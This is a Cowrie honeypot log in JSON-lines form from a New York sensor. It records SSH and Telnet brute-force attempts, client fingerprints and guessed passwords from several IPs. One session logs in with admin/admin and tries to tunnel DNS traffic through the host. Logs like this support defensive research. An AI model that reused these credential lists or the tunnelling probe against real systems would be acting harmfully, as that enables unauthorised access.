{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:22.638673Z","src_ip":"159.203.92.129","session":"53b08503da29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.70.60","src_port":52381,"dst_ip":"10.17.0.5","dst_port":23,"session":"37bf1d6b1a1e","protocol":"telnet","message":"New connection: 84.54.70.60:52381 (10.17.0.5:23) [session: 37bf1d6b1a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:36:49.644071Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":41094,"dst_ip":"159.203.135.109","dst_port":22,"session":"802568dad3fd","protocol":"ssh","message":"New connection: 118.193.33.81:41094 (159.203.135.109:22) [session: 802568dad3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:02.123129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:02.128398Z","src_ip":"118.193.33.81","session":"802568dad3fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:02.347370Z","src_ip":"118.193.33.81","session":"802568dad3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.512346982955933,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:03.156334Z","src_ip":"84.54.70.60","session":"37bf1d6b1a1e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@1234","message":"login attempt [root/Test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:03.205841Z","src_ip":"118.193.33.81","session":"802568dad3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:04.434946Z","src_ip":"118.193.33.81","session":"802568dad3fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60130,"dst_ip":"159.203.135.109","dst_port":22,"session":"696403eaa490","protocol":"ssh","message":"New connection: 159.203.92.129:60130 (159.203.135.109:22) [session: 696403eaa490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:05.033602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:05.062091Z","src_ip":"159.203.92.129","session":"696403eaa490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:05.071705Z","src_ip":"159.203.92.129","session":"696403eaa490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antao","password":"antao","message":"login attempt [antao/antao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:05.172521Z","src_ip":"159.203.92.129","session":"696403eaa490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":39064,"dst_ip":"159.203.135.109","dst_port":22,"session":"e69c808b7673","protocol":"ssh","message":"New connection: 157.7.113.83:39064 (159.203.135.109:22) [session: e69c808b7673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:05.845376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:05.850914Z","src_ip":"157.7.113.83","session":"e69c808b7673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:06.009699Z","src_ip":"157.7.113.83","session":"e69c808b7673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:06.185346Z","src_ip":"159.203.92.129","session":"696403eaa490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ab12345678","message":"login attempt [root/ab12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:06.673694Z","src_ip":"157.7.113.83","session":"e69c808b7673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:07.834952Z","src_ip":"157.7.113.83","session":"e69c808b7673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":59384,"dst_ip":"10.17.0.5","dst_port":23,"session":"a025005ec3c0","protocol":"telnet","message":"New connection: 103.49.70.87:59384 (10.17.0.5:23) [session: a025005ec3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:28.822351Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59788,"dst_ip":"159.203.135.109","dst_port":22,"session":"11f2ecc2568e","protocol":"ssh","message":"New connection: 159.203.92.129:59788 (159.203.135.109:22) [session: 11f2ecc2568e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:47.895029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:47.897974Z","src_ip":"159.203.92.129","session":"11f2ecc2568e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:47.901072Z","src_ip":"159.203.92.129","session":"11f2ecc2568e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"antao","password":"antao123","message":"login attempt [antao/antao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:47.908908Z","src_ip":"159.203.92.129","session":"11f2ecc2568e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:48.933229Z","src_ip":"159.203.92.129","session":"11f2ecc2568e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":52598,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f8898c445f1","protocol":"telnet","message":"New connection: 103.49.70.87:52598 (10.17.0.5:23) [session: 0f8898c445f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:50.111973Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10336,"dst_ip":"10.17.0.5","dst_port":22,"session":"04ebbc6742bb","protocol":"ssh","message":"New connection: 87.251.64.176:10336 (10.17.0.5:22) [session: 04ebbc6742bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:50.894423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:50.899631Z","src_ip":"87.251.64.176","session":"04ebbc6742bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:50.995542Z","src_ip":"87.251.64.176","session":"04ebbc6742bb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:51.285794Z","src_ip":"87.251.64.176","session":"04ebbc6742bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:51.383524Z","session":"04ebbc6742bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:51.480890Z","src_ip":"87.251.64.176","session":"04ebbc6742bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:51.581923Z","src_ip":"87.251.64.176","session":"04ebbc6742bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":9718,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d766b971c5a","protocol":"ssh","message":"New connection: 118.193.33.81:9718 (159.203.135.109:22) [session: 3d766b971c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:55.295979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:55.302590Z","src_ip":"118.193.33.81","session":"3d766b971c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:55.528087Z","src_ip":"118.193.33.81","session":"3d766b971c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc1234@","message":"login attempt [root/Abc1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:56.444748Z","src_ip":"118.193.33.81","session":"3d766b971c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:57.668585Z","src_ip":"118.193.33.81","session":"3d766b971c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.405832529067993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:37:59.227951Z","src_ip":"103.49.70.87","session":"a025005ec3c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":44798,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c5903c00de","protocol":"ssh","message":"New connection: 157.7.113.83:44798 (159.203.135.109:22) [session: 19c5903c00de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:03.663794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:03.668726Z","src_ip":"157.7.113.83","session":"19c5903c00de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:03.825855Z","src_ip":"157.7.113.83","session":"19c5903c00de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!!","message":"login attempt [root/root123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:04.487349Z","src_ip":"157.7.113.83","session":"19c5903c00de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:05.647969Z","src_ip":"157.7.113.83","session":"19c5903c00de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":48464,"dst_ip":"10.17.0.5","dst_port":23,"session":"e27e807e6fc9","protocol":"telnet","message":"New connection: 103.49.70.87:48464 (10.17.0.5:23) [session: e27e807e6fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:38:14.502534Z"}
